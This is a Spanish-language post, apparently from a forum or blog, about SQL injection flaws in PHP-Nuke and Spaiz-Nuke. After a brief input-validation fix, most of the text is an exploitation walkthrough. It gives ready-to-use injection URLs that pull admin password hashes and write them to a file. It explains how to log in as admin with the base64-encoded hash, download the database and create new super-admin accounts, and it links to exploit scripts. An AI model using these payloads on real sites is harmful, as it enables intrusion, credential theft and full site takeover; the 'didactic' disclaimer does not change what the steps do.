Bug peligroso ante el ataque de los hackers

catosino escribió «En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke, que permite tomar el control de todo el sistema. Pero hay cosas que muchos no tiene claro todavía, por eso aquí las explico, y doy mas detalles sobre el tema…..

Te puede descargar los archivos ya modificados AQUÍ

Primero:

La falla NO es en el archivo modules.php, sino que esta presente en los módulos Downloads y Weblinks, entre otros. El archivo modules.php solo se encarga de incluir los archivos de cada modulo para que así la URL quede mas presentable.

Por eso el advisorie:

http://www.securityfocus.com/archive/1/340664

Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:

Segundo:

Esta falla no tiene nada de nueva, ya que es la misma descubierta para las versiones:

  • PHP-Nuke 6.0
  • PHP-Nuke 6.5 RC3
  • PHP-Nuke 6.5 RC2
  • PHP-Nuke 6.5 RC1
  • PHP-Nuke 6.5 FINAL
  • PHP-Nuke 6.5 BETA 1
  • PHP-Nuke 6.5
  • PHP-Nuke 6.5 with all patches ,
  • PHP-Nuke 6.0 with all patches.
  • PHP-Nuke 5.5 with all patches

Es por eso que insisto en que no es una nueva falla, ya que en las ultimas versiones del PHP-Nuke se viene usando los mismo módulos de esas versiones anteriormente citadas, y que no han sido parcheadas, por eso es que son vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9, según he comprobado.

Solución:

No son solo los módulos Downloads y WebLinks, sino todo aquel modulo o pagina que no controle correctamente sus variables. Una forma rápida y fácil de solucionar esto es controlando el contenido de las variables de la siguiente forma:

# $variable es la que debemos controlar, así que cambia su nombre según te convenga ;)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}

Inyección SQL en PHP-Nuke y Spaiz-Nuke

Eso en el caso de que deba ser numérica, sino basta con quitar el !is_numeric($variable) de la condición del IF. Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotación de las falla, que no solo sirve para hacer daño, sino que les permitirá testar sus sistemas y saber como solucionar este tipo de fallas.

Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña inserción de código SQL, en las variables $cid de los módulos en cuestión. Por ejemplo:

Para el Módulo Download:

http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20

Para el Módulo WebLinks:

http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20

Nota: Para que funcione en Spaiz-Nuke debes cambiar nuke_authors por spnuke_authors

Vulnerabilidad en el archivo auth.php:

Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testado en spaiz-nuke). En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las », es posible crear una URL como esta:

http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt

En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en MD5) del admin.

Accediendo con la contraseña encriptada:

Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado. El método es el siguiente:

Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los módulos como en el auth.php, debemos codificar en base64 el usuario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).

Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo online en una web como esta:

  • http://www.isecurelabs.com/base64.php
  • http://www.rzw.com.ar/base64nuke.php 😉

Buscamos el equivalente en base64 de la siguiente linea:

login:crypt_.passwd:

Donde login es el usuario y crypt_.passwd es la contraseña en MD5. Por ejemplo, con esta línea

admin:21232f297a57a5a743894a0e4a801fc3:

Obtendríamos algo así:

YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Ahora podemos acceder al panel del administrador usando una URL de este tipo:

http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Una vez dentro te darás cuenta que cuando quieres acceder a cada opción del panel de control te volverá a pedir el password, lo único que tienes que hacer, es copiar el enlace de la sección a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administración. Por ejemplo:

Para bajarte la base de datos:

http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Creando Admins:

Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL, podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:

http://rst.void.ru/download/r57nuke.txt

Exploit en PHP en Rynho Zeros Web:

http://www.rzw.com.ar/xptnk.php (Usar con moderación 😉

Puedes hacer esto también, mediante un enlace como el siguiente:

http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]

Nick corresponde al que tendrá el nuevo admin, el email lo mismo, el password debe ser colocado en texto plano no el hash, y el Hash, es el obtenido utilizando alguno de los métodos anteriormente explicados y correspondiente al admin del sitio, preferentemente el God (Admin Principal).

Basado en:

http://www.cyruxnet.com.ar/phpnuke_modules.htm

Aclaración: Este articulo esta basado en el que Cyruxnet publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables del mal uso que se haga de lo aquí explicado.

Por CATOSINO»

Scroll al inicio